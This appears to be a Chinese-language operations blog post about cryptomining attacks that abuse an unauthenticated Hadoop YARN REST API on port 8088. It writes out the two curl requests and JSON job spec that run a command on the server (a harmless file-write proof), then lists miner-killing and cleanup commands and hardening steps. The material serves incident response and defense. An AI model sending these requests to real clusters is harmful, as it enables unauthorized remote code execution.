挖矿攻击会使system的硬件资源,如:CPU、内存消耗极大,但是一般运维人员处理挖矿攻击时最头疼的就是处理不干净,其实挖矿攻击能够成功主要方式是通过服务器安装的第三方工具内在的对外RestAPI进行的,这些第三方工具如果API存在漏洞就会很大程度被黑客攻击利用开放的8088等等端口进行攻击,如下特例:
攻击步骤:
1.申请新的application
直接通过curl进行POST请求
curl -v -X POST 'http://ip:8088/ws/v1/cluster/apps/new-application'
返回内容类似于:
{"application-id":"application_1527144634877_20465","maximum-resource-capability":{"memory":16384,"vCores":8}}
2.构造并提交任务
构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建11112222_test_111122222
文件,内容也为666:
{
"am-container-spec":{
"commands":{
"command":"echo '666' > /var/tmp/11112222_test_11112222"
}
},
"application-id":"application_1527144634877_20465",
"application-name":"neo",
"application-type":"YARN_yes"
}
然后直接
curl -s -i -X POST -H 'Accept: application/json' -H 'Content-Type: application/json' http://ip:8088/ws/v1/cluster/apps --data-binary @1.json
即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件,处理方式:
1.pkill -f cryptonight
2.pkill -f sustes
3.pkill -f xmrig
4.pkill -f xmr-stak
5.pkill -f suppoie
6.ps ax | grep "config.json -t" | grep -v grep | awk '{print $1}' | xargs kill -9
7.ps ax | grep 'wc.conf\|wq.conf\|wm.conf\|wt.conf' | grep -v grep | grep 'ppl\|pscf\|ppc\|ppp' | awk '{print $1}' | xargs kill -9
8.rm -rf /var/tmp/pscf*
9.rm -rf /tmp/pscf*
清理病毒
- 使用top查看进程,kill掉异常进程
- 检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件
- 检查crontab任务列表,删除异常任务
- 排查YARN日志,确认异常的application,删除处理
安全加固
- 通过iptables或者安全组配置访问策略,限制对8088等端口的访问
- 如无必要,不要将接口开放在公网,改为本地或者内网调用
- 升级Hadoop到2.x版本以上,并启用Kerberos认证功能,禁止匿名访问
- 阿里云的安骑士和腾讯的云镜当前已支持该漏洞检测,同时也支持挖矿木马的发现,建议安装云镜并开通专业版,及时发现漏洞并修复或者在中马后能及时收到提醒进行止损
最后查看/var/spool/cron/crontabs/root 定时任务是否被串改